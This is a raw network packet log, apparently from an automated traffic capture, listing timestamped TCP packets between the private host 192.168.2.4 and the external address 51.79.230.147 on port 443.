Dec 30, 2024 19:45:14.166038990 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.166057110 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.166096926 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.166102886 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.166131020 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.166142941 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.166254044 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.166364908 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.166379929 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.166429996 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.166438103 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.166477919 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.167431116 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.168972969 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.168989897 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.169048071 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.169058084 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.169106007 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.169802904 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.251519918 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.251538038 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.251631021 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.251641989 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.251683950 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.251771927 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.251790047 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.251842022 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.251849890 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.251890898 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.252266884 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.252284050 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.252331018 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.252337933 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.252348900 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.252367020 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.252381086 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.252387047 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.252398968 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.252439976 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.252732992 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.252746105 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.252785921 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.252793074 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.252803087 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.252832890 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.252887964 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.252902985 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.252933025 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.252938986 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.252969027 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.252984047 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.253292084 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.253307104 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.253382921 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.253390074 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.253446102 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.254295111 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.255189896 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.255203962 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.255270958 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.255278111 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.255335093 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.259430885 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.338491917 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.338514090 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.338717937 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.338733912 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.338778019 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.338884115 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.338896036 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.338944912 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.338953972 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.338995934 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.339303017 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.339329958 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.339379072 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.339385986 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.339426041 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.339499950 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.339514017 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.339562893 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.339570999 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.339610100 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.339739084 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.339752913 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.339799881 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.339806080 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.339845896 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.339962006 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.339988947 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.340046883 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.340053082 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.340073109 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.340085983 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.340303898 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.340318918 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.340356112 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.340361118 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.340404034 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.340413094 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.342072964 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.342087030 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.342127085 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.342133045 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.342158079 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.342176914 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.354588985 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.425416946 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.425432920 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.425520897 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.425537109 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.425611973 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.425633907 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.425694942 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.425694942 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.425704002 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.425735950 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.425744057 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.425986052 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.426000118 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.426049948 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.426055908 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.426100969 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.426462889 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.426476955 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.426537037 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.426552057 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.426594973 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.426738977 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.426753044 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.426810980 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.426816940 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.426858902 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.426882982 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.426901102 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.426954031 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.426960945 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.427006006 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.427253008 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.427268982 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.427323103 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.427329063 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.427371025 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.429029942 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.429044962 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.429105043 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.429112911 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.429155111 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.432679892 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.512609959 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.512629032 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.512763023 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.512804985 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.512813091 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.512829065 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.512845039 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.512845039 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.512957096 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.512978077 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.513009071 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.513017893 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.513045073 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.513382912 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.513403893 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.513443947 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.513449907 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.513463974 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.513633013 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.513653994 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.513699055 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.513706923 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.513731956 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.514002085 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.514019012 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.514050007 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.514055967 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.514084101 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.514127016 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.514142036 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.514185905 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.514193058 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.514213085 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.515831947 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.515852928 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.515892029 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.515899897 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.515932083 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.528347969 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.599637985 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.599664927 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.599834919 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.599847078 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.599857092 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.599879980 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.599915028 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.599921942 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.599945068 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.600078106 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.600092888 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.600131035 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.600138903 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.600148916 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.600301981 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.600321054 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.600354910 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.600363016 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.600375891 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.600575924 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.600590944 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.600627899 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.600636959 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.600661039 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.602015018 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.602030993 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.602066994 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.602073908 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.602085114 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.602098942 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.602102041 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.602133036 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.602140903 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.602166891 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.602821112 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.602843046 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.602874041 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.602880001 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.602893114 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.643806934 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.647501945 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.647555113 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.686373949 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.686398029 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.686467886 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.686476946 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.686526060 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.686624050 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.686639071 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.686690092 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.686697960 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.686736107 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.686924934 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.686945915 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.686980963 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.686986923 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.687015057 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.687033892 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.687124968 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.687139988 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.687182903 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.687190056 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.687206030 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.687227011 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.687391996 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.687407017 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.687443018 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.687448978 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.687475920 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.687493086 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.688539982 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.688802004 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.688817024 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.688875914 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.688882113 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.688920975 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.688939095 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.688954115 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.688990116 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.688996077 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.689024925 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.689040899 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.689639091 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.689656973 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.689691067 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.689699888 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.689723969 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.689743042 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.726638079 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.773387909 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.773407936 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.773459911 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.773469925 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.773525000 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.773533106 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.773547888 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.773585081 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.773591042 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.773619890 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.773643017 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.773775101 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.773791075 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.773819923 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.773847103 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.773850918 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.773895025 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.774054050 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.774068117 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.774100065 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.774106026 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.774132967 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.774151087 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.774295092 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.774310112 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.774352074 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.774358988 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.774403095 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.775665998 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.775680065 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.775726080 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.775732994 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.775770903 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.775784969 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.775933981 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.775949001 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.775985003 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.775990009 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.776020050 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.776027918 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.776556969 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.776577950 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.776621103 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.776631117 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.776657104 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.776674986 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.776849985 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.861716986 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.861740112 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.861779928 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.861789942 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.861810923 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.861834049 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.861993074 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.862010002 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.862040997 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.862046957 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.862066031 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.862081051 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.863362074 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.863377094 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.863451958 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.863460064 CET	443	50050	51.79.230.147	192.168.2.4
